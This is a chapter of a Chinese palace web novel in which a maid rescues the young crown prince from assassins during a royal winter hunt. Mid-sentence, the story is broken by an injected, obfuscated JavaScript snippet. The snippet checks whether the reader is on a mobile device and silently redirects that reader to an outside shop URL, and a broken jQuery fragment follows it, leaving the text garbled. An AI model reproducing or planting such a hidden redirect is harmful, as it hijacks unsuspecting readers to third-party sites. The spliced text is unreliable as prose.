宋浮珂睁眼醒来。
今日是冬狩日,天刚蒙蒙亮,半个宫的宫人都在激动地收拾东西。
大周太祖是在马背上得的天下,历代皇帝贯彻祖制,年礼后要携后宫众臣一同前往猎场狩猎,祭奠先祖。
原本宋浮珂这样刚入宫的新人是不会跟随前往猎场的。可宋浮珂手脚麻利,膳房管事对她放心,叫她随着去。
宋浮珂从小常去山里,砍柴摘果抓鱼采药。进宫快两个月没踏出皇宫大门,一开始听到要去山里还高兴一下。得知皇家猎场和娘睡着的山是两个方向,兴致一下没了大半。
她混在队伍里,砂砾般不起眼。
天子巡狩,城外谭山自明阳,环数百里为猎场。车骑雷起,殷天动地。
队伍中央的皇后车架内,一记狠辣的巴掌声响起!
马车外的骑马伴行的侍卫纷纷低头,神情瞧着却是对里头的动静习以为常。
太子偏着脸,挨了毫不留情的一巴掌。到底年纪小,皮肉娇嫩,雪白侧脸迅速浮出五指印痕,红肿发烫,眼圈也一下跟着红了。
打过他的手缓缓收回,握起案桌上的一叠策论。
皇后的面容年轻端丽,一身华服压不住通身气度。凤眼微翘,睨向儿子的眼神藏不住的失望。
她呵斥道:“跪下!”
太子掌心出了汗,一言不发直直跪下。
母子两个一坐一跪,一双凤眼分外相像。
皇后缓缓道:“我与你父皇从小一同长大。你的太子之位是你出生时就定下的。为了保住你的位置,你的祖父、舅父,全都战死沙场,只剩你叔祖父支撑门楣。”
想起往事,她的目光变得尖锐。
她和皇帝青梅竹马,感情称得上是深厚。可再情深也挡不住九五之尊坐拥三宫六院。
她期盼过,愤怒过,失望过,最后也只是眼睁睁看着自己的夫君左拥右抱,还要显得宽容大度。
到现在,唯一让她在后宫女人面前昂起头的只有她的儿子稳坐太子之位,无愧她的父兄和她付诸流水的青春年少。
太子小小的拳头紧握。不出所料,上面传来一句他听过无数遍的话:“可你总让我失望!若非老三生母出身不好,你连他都不如,还做什么太子!”
太子僵着身低头跪着,眼泪控制不住一滴滴砸下。
他想说他如何比不过老三,又想说他从不想做这太子。可这些言语都在他喉咙里融化了,烙铁一般灼烫。
“太傅对你防治开春水患的策论不满,回去后每日加练一篇策论。你的骑术长进也太慢,这几日就跟着武训官,少与你那些不争气的伴读厮混。”
皇后三两句话在太子本就紧凑的日程里挤进一大块内容,算下来太子每日只能睡不到三个时辰。
窗外隐约传来女子明媚张扬的笑声。
刚生下四公主的丽妃抱着孩子,容貌越发丰腴美艳,掀开车帘逗着女儿去看外面的天。周围宫女太监侍奉殷勤,其乐融融。
丽妃这两年在皇帝面前很得脸,行事也越发嚣张,几次皇帝来皇后宫中都被丽妃以看望小公主的事由请走。还曾当着皇后和后宫妃嫔的面与皇帝撒娇弄痴,说小公主闹着要个弟弟。
一股子小家做派,上不得台面!
听到外头的动静,皇后眼中厌恶更甚,扬手策论丢进脚下炭盆。
她的目光重若千钧,落在跪着的孩童身上:“你给本宫记着,你的外爷、舅舅都是你的太子之位死的。你是太子,不能——绝对不能被旁人比下去!”
“还有你身边的伴读,一个个只会捧着你。过段时日李家长孙回京,他会是你的新伴读。”皇后说完,闭眼:“下去吧。”
太子木木起身,一言不发离开马车。
他跪得有些久,踩着太监脊背下地时踉跄一下。又大力推开旁人搀扶的手,径直爬上自己的车架。
等到车帘子放下,太子积蓄已久的泪水再次滚滚落下。
马车内响起低低的抽泣声。
·
上午出发,快到傍晚才到猎场。
宋浮珂肩上扛着手里抱着一大堆东西,混在队列里慢慢往前走,走的腰酸背痛。
终于到了地方,几座大山在她眼前连绵。她没喘上口气就被吆喝着去搭灶台,准备茶点吃食。
她曾在文华殿伺候,便被分配去伺候一众皇子公主先行用些点心。等稍后皇帝带着武将大臣狩回猎物,晚宴便要开始了。
宋浮珂已经很疲惫,骗骗今天的太子像吃了炮仗,格外暴躁。因为一匹浑身枣红的小马,又和三皇子争论起来。
宋浮珂穿着一身青绿色宫装,低着头,捧着一碟绿豆糕很无聊地站在旁侧。
说是争论,其实就是太子单方面在欺辱三皇子。
明明他已经有一匹通身雪白不染杂毛的照夜白,却在三皇子给一匹枣红色的普通小马吃豆饼时故意甩脸色,蛮横要求三皇子交出小马,走着进树林子。
这样侮辱人,三皇子自是不肯。
太子气急,竟然扬起手上的鞭子朝三皇子手臂上来了一下。
这下可闹大了,平日再多口角也能说是兄弟打闹。可众目睽睽下太子鞭打皇弟,却实在是太不像话!
教皇子武学的将领是个人精,又不如太傅那般又地位,当然不敢拦。事情闹大了,皇后遣人不轻不重斥责两句话,大概说要兄友弟恭。
三皇子红着眼睛应下,太子怒气更甚,骑着照夜白气势汹汹出了营帐,循着一条小溪往林子里面走。
宋浮珂已经走了很长时间的路,腿酸酸涨涨,实在不想走动。不得已捧着绿豆糕跟上,心里头一次全然站在三皇子这边。
太子一路坐着最高大舒适的马车过来,下马车都是踩在太监背上。就是过得太舒服吃饱了撑的才有精力折腾,连累底下人。
偏偏太子越来越生气,驱使照夜白一路小跑。连续跑了小半炷香,周围越来越偏僻,两边已经是浓密的山林子。
太子边骑马,便骂道:“混账!混账!只会装模作样!”
他红着眼,眼泪要掉不掉,回头朝一众侍卫宫女太监喊:“滚!”
像太子这么坏脾气的小孩就被爹娘用荆条抽的屁股开花。
所有人都跑得气喘吁吁,无奈的目光聚集在太子身上。
宋浮珂喘口气,眼神乱飘,一瞥落在冬日因为积雪反光亮闪闪的河面上,忽然看到许多到浑浊的影子迅速往上冒!
什么东西?
她怔愣一瞬,心里忽然涌上尖锐强烈的危机感,一下子往后退靠近四个离太子最近的侍卫。
就在这时那些影子停顿片刻。下一秒,数十个身挎长刀的人影破水而出,和另一群从林子四面涌出的一群人一并,见人就杀!
太子的怒吼生生断在喉咙里,瞳孔缩紧,睁大眼睛看着周围发生的一切,
皇家冬狩猎场早早就被驻军围守,把控极严。默认营地里不会有什么危险,这次只有四个侍卫跟着太子出来,两三个呼吸里猝不及防全部被割断了喉咙。
宫女太监短暂惊悚后反应过来,立即尖叫四散奔逃。
宋浮珂浑身汗毛直竖,血液倒流,也是拔腿就跑。
一时间居然没有人去管太子。
他还在马背上。
那匹昂贵的照夜白和它的主子一样被吓傻了,一动不动。
眼看着刺客的刀就要砍向太子尊贵的脖子,宋浮珂忽然意识到一件事。
太子是皇后唯一的儿子,是未来的储君。
要是今日太子死在这里,他们这些逃回去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743715|209173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的奴婢只有死路一条。
也就是说,她现在跑是死,不跑也是死。
都跑出去七八步了,宋浮珂狠狠咬牙,念了一句娘亲,随后抓起地面散落的瓷盘砸向刺向太子的刀,扑过去一把拽下太子拉着他拔腿就跑!
太子踉跄着从马背上下来,天旋地转中对上宋浮珂的黑亮的眼眸。
因为激烈的情绪和呼吸,宋浮珂眉目压下,瞬间神色不像温柔和善的珠欢,而像对孙鬼举起镰刀的孙丫!
在这生死一线之际,太子没有被刀砍中,却被宋浮珂眼里的神色惊住了。
宋浮珂抓住太子的手。
太子养尊处优,年龄又小,手掌肌肤柔嫩,因为惊愕恐惧出了一层黏腻细汗。她一时间都要抓不住,两人交握的手频频脱开。
宋浮珂想着动静这么大,猎场有禁军,定会有人前来护卫。可是很快她就意识到不对。
旁边宫女太监渐渐没了声音,只能听到刺客脚步踏在草上的声音,惊叫惨叫却没有吸引任何守卫的注意。
太不正常了。
太子生闷气埋头骑着马一炷香的时间不错,可这也不是什么特别偏远的地方。
她模模糊糊意识到这不是一场简单的刺杀。
有人调开了这附近的守军。
没法子。
宋浮珂深吸一口气,心脏在身后凛然杀意的刺激下发了狂在胸腔乱撞。她弯腰猛地背起吓杀了似的太子,钻入一片连绵的树林子,一路往山下跑。
她熟悉山道,也经常背着沉重的柴火以快速的脚程卖给烧炭人,背着个子比她矮一些的小太子不算困难。
可周围的树木异常茂密,山道崎岖直上直下。刺客依旧紧追不舍,眼看刀剑就要撞上太子脊背!
再往前就是一处山坳间的缓坡。
宋浮珂立即有了决定,扯下太子披风裹住自己和他的头,改背为搂。她脚下一软,两人狠狠摔在地上顺着缓坡滚下!一下和身后刺客拉开距离,滚到山坡底部!
山坡上枯枝碎石不断,两人摔的不轻。
宋浮珂两条手臂抱住太子脑袋,太子也下意识环抱住她。两人脸贴着脸,发丝相缠,手臂垫在彼此身下直接承受一个人的重量,疼得快要断掉。
太子金尊玉贵惯了,更是被颠得头晕眼花,几欲作呕。一口气没喘上来就又被宋浮珂咬牙背起来继续跑。
他手臂紧紧搂着宋浮珂的脖子,感受到自己依靠的瘦小脊背下激烈迅猛的喘息声和心跳。在恐惧中后知后觉中察觉到自己如今的处境,又蔓延出几分惊愕和惶惶。
后面传来几声喊叫。
宋浮珂不理会,用尽了全部力气跑。一直跑到肺部炙热,面部涨红,感受到遥遥把后面的动静甩掉才敢停下来靠着树往回看。
身后空空如也,那些刺客竟然真的都没有追过来。
宋浮珂喘得好像个风箱,喉咙火辣一片,勉力放下太子就瘫坐在了地上。
她这辈子还没这么使劲地跑过,魂都要飞了。
宋浮珂喃喃道:“甩掉了?是不是发现不对,有侍卫追上来了?”
所以那些刺客才没有追上来?
太子发髻也乱了,望着她也是惊魂未定,腿也软着。
听到这话,下意识回答:“我,我不知道。”
说完反应过来,一下闭上嘴,复杂情绪涌上心头。
宋浮珂没有功夫理会太子的心绪。
大冷天的,她额头上的汗珠犹如雨滴滚下,不大讲究地用衣袖擦过,对着太子道:“殿下,咱们再往深走走,藏起来。万一刺客又追上来可就躲不掉了。”
说罢牵过太子的衣袖带着他往林子更深处走。
太子看一眼她,一反常态没有说话,任由宋浮珂牵着他尊贵的衣袖。